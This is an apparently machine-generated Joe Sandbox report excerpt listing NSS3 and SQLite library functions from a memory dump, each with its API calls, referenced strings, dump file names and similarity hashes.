Function 6CBD5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CBD5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CBD5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CBD5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CBD5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CBD5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CBD5E18
TlsGetValue.KERNEL32 ref: 6CBD5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CBD5E72
PR_Unlock.NSS3(?), ref: 6CBD5E8B

Part of subcall function 6CBCF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CBCF854
Part of subcall function 6CBCF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CBCF868
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CBCF882
Part of subcall function 6CBCF820: free.MOZGLUE(04C483FF,?,?), ref: 6CBCF889
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CBCF8A4
Part of subcall function 6CBCF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CBCF8AB
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CBCF8C9
Part of subcall function 6CBCF820: free.MOZGLUE(280F10EC,?,?), ref: 6CBCF8D0

Strings

d, xrefs: 6CBD5C36
tokens=[0x%x=<%s>], xrefs: 6CBD5D3D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: c83fc40a45a44c083cc7fa2748d5caad3577be82fb96f9bdb93df05ffa65a73e
Instruction ID: 20336bbd3bfa332aaddac01a689b87f59971a2d519432c098d9c1fd038f03fa4
Opcode Fuzzy Hash: c83fc40a45a44c083cc7fa2748d5caad3577be82fb96f9bdb93df05ffa65a73e
Instruction Fuzzy Hash: 2F71C5F0A051859BEB01AF24EC45B6E3375EF4531DF190035D8099AB42EB32F959CBE6

Function 6CBC8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CBC9582), ref: 6CBC8F5B

Part of subcall function 6CBDBE30: SECOID_FindOID_Util.NSS3(6CB9311B,00000000,?,6CB9311B,?), ref: 6CBDBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CBC8F6A

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBC8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CBC8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CCAD820,6CBC9576), ref: 6CBC8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CBC901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CBC903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBC9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CBC90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CBC90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CBC90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBC912D
free.MOZGLUE(00000000), ref: 6CBC9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CBC9145

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: eb7c92d55da03e5be1730aa30d96744b5634e2117b9257577c1dbb87e2b0d573
Instruction ID: bd0ced26b092c88fff7d01356f0af7d9ca93a6def965a16add79c209339558ba
Opcode Fuzzy Hash: eb7c92d55da03e5be1730aa30d96744b5634e2117b9257577c1dbb87e2b0d573
Instruction Fuzzy Hash: 9F51B1B2A042809BEB00CF28DC41A9AB7E9EF94358F054929EC59D7741EB35E945CBD3

Function 6CB7AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CB7AF47

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

FreeLibrary.KERNEL32(?), ref: 6CB7AF6D
free.MOZGLUE(?), ref: 6CB7AFA4
free.MOZGLUE(?), ref: 6CB7AFAA
PR_ExitMonitor.NSS3 ref: 6CB7AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CB7AFF5
PR_ExitMonitor.NSS3 ref: 6CB7B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB7B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CB7B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB7B03C

Strings

%s decr => %d, xrefs: 6CB7AFF0
Unloaded library %s, xrefs: 6CB7B023

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 3c878177a3df04193b8606602ed6fc708f6aa838fe8c060424be340bc01e4fef
Instruction ID: 80d943da0d77fa7c5a586c6f521edd5ad8a8df8d82ddda6f4b94528a8868af38
Opcode Fuzzy Hash: 3c878177a3df04193b8606602ed6fc708f6aa838fe8c060424be340bc01e4fef
Instruction Fuzzy Hash: 163106B5B04151ABEF619F64DC44A59B779EB0A308B188135EC25DBA41F732E824CFF2

Function 6CBC6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CBC781D,00000000,6CBBBE2C,?,6CBC6B1D,?,?,?,?,00000000,00000000,6CBC781D), ref: 6CBC6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CBC781D,?,6CBBBE2C,?), ref: 6CBC6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CBC781D), ref: 6CBC6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CBC6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CBC6C96

Part of subcall function 6CB71240: TlsGetValue.KERNEL32(00000040,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71267
Part of subcall function 6CB71240: EnterCriticalSection.KERNEL32(?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB7127C
Part of subcall function 6CB71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71291
Part of subcall function 6CB71240: PR_Unlock.NSS3(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB712A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CBC6CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6CBC6C91
extern:, xrefs: 6CBC6C7E
dbm:, xrefs: 6CBC6C3A
rdb:, xrefs: 6CBC6C69
sql:, xrefs: 6CBC6C52
dbm, xrefs: 6CBC6CA4

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 269a7fabcaa96558d57c1b06b7d1162fd0376a821132ff9bc84475580e16c067
Instruction ID: e4f98ea99ac17a38846db8874c451298730f4ee2e994284ac96dc820c0055dcf
Opcode Fuzzy Hash: 269a7fabcaa96558d57c1b06b7d1162fd0376a821132ff9bc84475580e16c067
Instruction Fuzzy Hash: 1D01A2F170238227EA1027B95D4AF37369DDF91258F140431FE08E0A81FAA2E52482B7

Function 6CBD4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CB978F8), ref: 6CBD4E6D

Part of subcall function 6CB709E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CB706A2,00000000,?), ref: 6CB709F8
Part of subcall function 6CB709E0: malloc.MOZGLUE(0000001F), ref: 6CB70A18
Part of subcall function 6CB709E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CB70A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CB978F8), ref: 6CBD4ED9

Part of subcall function 6CBC5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CBC7703,?,00000000,00000000), ref: 6CBC5942
Part of subcall function 6CBC5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CBC7703), ref: 6CBC5954
Part of subcall function 6CBC5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBC596A
Part of subcall function 6CBC5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBC5984
Part of subcall function 6CBC5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CBC5999
Part of subcall function 6CBC5920: free.MOZGLUE(00000000), ref: 6CBC59BA
Part of subcall function 6CBC5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CBC59D3
Part of subcall function 6CBC5920: free.MOZGLUE(00000000), ref: 6CBC59F5
Part of subcall function 6CBC5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CBC5A0A
Part of subcall function 6CBC5920: free.MOZGLUE(00000000), ref: 6CBC5A2E
Part of subcall function 6CBC5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CBC5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4EB3

Part of subcall function 6CBD4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBD4EB8,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD484C
Part of subcall function 6CBD4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBD4EB8,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD486D
Part of subcall function 6CBD4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CBD4EB8,?), ref: 6CBD4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4EC0

Part of subcall function 6CBD4470: TlsGetValue.KERNEL32(00000000,?,6CB97296,00000000), ref: 6CBD4487
Part of subcall function 6CBD4470: EnterCriticalSection.KERNEL32(?,?,?,6CB97296,00000000), ref: 6CBD44A0
Part of subcall function 6CBD4470: PR_Unlock.NSS3(?,?,?,?,6CB97296,00000000), ref: 6CBD44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CCADCB0,00000000), ref: 6CBD4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CBD501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD506B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 14b88c68b5ff87d6023b536d26d88adf95941bc03db07235694ce33b955d7a78
Instruction ID: dc29de06115542cbcae870f61f07b72fd897de24594108295a9708781a95b53f
Opcode Fuzzy Hash: 14b88c68b5ff87d6023b536d26d88adf95941bc03db07235694ce33b955d7a78
Instruction Fuzzy Hash: 4751D3F19006869BEB119F24EC41A9E37B8EF0531DF160635EC0A96A11FB32E558CAD2

Function 6CB7ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB7ACE2
malloc.MOZGLUE(00000001), ref: 6CB7ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB7AD02
TlsGetValue.KERNEL32 ref: 6CB7AD3C
calloc.MOZGLUE(00000001,?), ref: 6CB7AD8C
PR_Unlock.NSS3 ref: 6CB7ADC0
free.MOZGLUE(00000000), ref: 6CB7AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB7AE58
free.MOZGLUE(00000000), ref: 6CB7AE69
free.MOZGLUE(?), ref: 6CB7AE78
PR_Unlock.NSS3 ref: 6CB7AE8C
free.MOZGLUE(?), ref: 6CB7AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB7AEC7

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: d677b9ef1ba745035c23f4632deed2755cbffdae48c1514d9555f20adced1241
Instruction ID: 307d17b57c56487b2731b7e74b78fdb7f8a8320dbe9a07f534f96ea5454820aa
Opcode Fuzzy Hash: d677b9ef1ba745035c23f4632deed2755cbffdae48c1514d9555f20adced1241
Instruction Fuzzy Hash: 8051BFB1E001669BDFA0DF58D9416AE7778FB0A349F140025DC28A3B11E731E955CFE2

Function 6CC54C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CC54CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC54CFD
sqlite3_value_text16.NSS3(?), ref: 6CC54D44

Strings

another row available, xrefs: 6CC54D20
invalid, xrefs: 6CC54CF1
unknown error, xrefs: 6CC54D56
abort due to ROLLBACK, xrefs: 6CC54D27, 6CC54D33
no more rows available, xrefs: 6CC54D2E
bad parameter or other API misuse, xrefs: 6CC54D05
API call with %s database connection pointer, xrefs: 6CC54CF6
out of memory, xrefs: 6CC54C78, 6CC54C9E

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 9a8b23d51133bf30682e18c64031c38b145be25660c1b23a2eaf7363c04415c6
Instruction ID: 899ee4513837cfb0dd33124531213b98d8a6f1ebb4429c0146085acc1ff43228
Opcode Fuzzy Hash: 9a8b23d51133bf30682e18c64031c38b145be25660c1b23a2eaf7363c04415c6
Instruction Fuzzy Hash: C0314872E089516BD704CB2AE8007E97372B7C3358FD50569D8245BE59F721BC7283EA

Function 6CC52D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CC52D9F

Part of subcall function 6CB0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CB6F9C9,?,6CB6F4DA,6CB6F9C9,?,?,6CB3369A), ref: 6CB0CA7A
Part of subcall function 6CB0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB0CB26

sqlite3_exec.NSS3(?,?,6CC52F70,?,?), ref: 6CC52DF9
sqlite3_free.NSS3(00000000), ref: 6CC52E2C
sqlite3_free.NSS3(?), ref: 6CC52E3A
sqlite3_free.NSS3(?), ref: 6CC52E52
sqlite3_mprintf.NSS3(6CCBAAF9,?), ref: 6CC52E62
sqlite3_free.NSS3(?), ref: 6CC52E70
sqlite3_free.NSS3(?), ref: 6CC52E89
sqlite3_free.NSS3(?), ref: 6CC52EBB
sqlite3_free.NSS3(?), ref: 6CC52ECB
sqlite3_free.NSS3(00000000), ref: 6CC52F3E
sqlite3_free.NSS3(?), ref: 6CC52F4C

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: b06cf1e00764846dfa58e67eb61051011d0205210bedef170a8fcffec1753a7a
Instruction ID: 2995f4cdb36b6afe53f751545abea8611e7d62bb585ce5b1ec88c6dd051ac512
Opcode Fuzzy Hash: b06cf1e00764846dfa58e67eb61051011d0205210bedef170a8fcffec1753a7a
Instruction Fuzzy Hash: 50616DB5E002158BEB00CFA9D895B9EBBF1AF48348F544028DC55A7B01E771E865CBA5

Function 6CBA2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CBA3F23,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2C93

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23), ref: 6CBA2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?), ref: 6CBA2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?), ref: 6CBA2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CBA2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CBA2D71
PR_Unlock.NSS3(?), ref: 6CBA2D7E

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 0aebb9a62e41e3602a6b7cf5f60eb3d49f024464df0fe77fa7dae14f0de4f6ab
Instruction ID: cfd131f00f8d4649d6dceb7c33bc80b732cf1cf6dadb84a71e1d388e759ad771
Opcode Fuzzy Hash: 0aebb9a62e41e3602a6b7cf5f60eb3d49f024464df0fe77fa7dae14f0de4f6ab
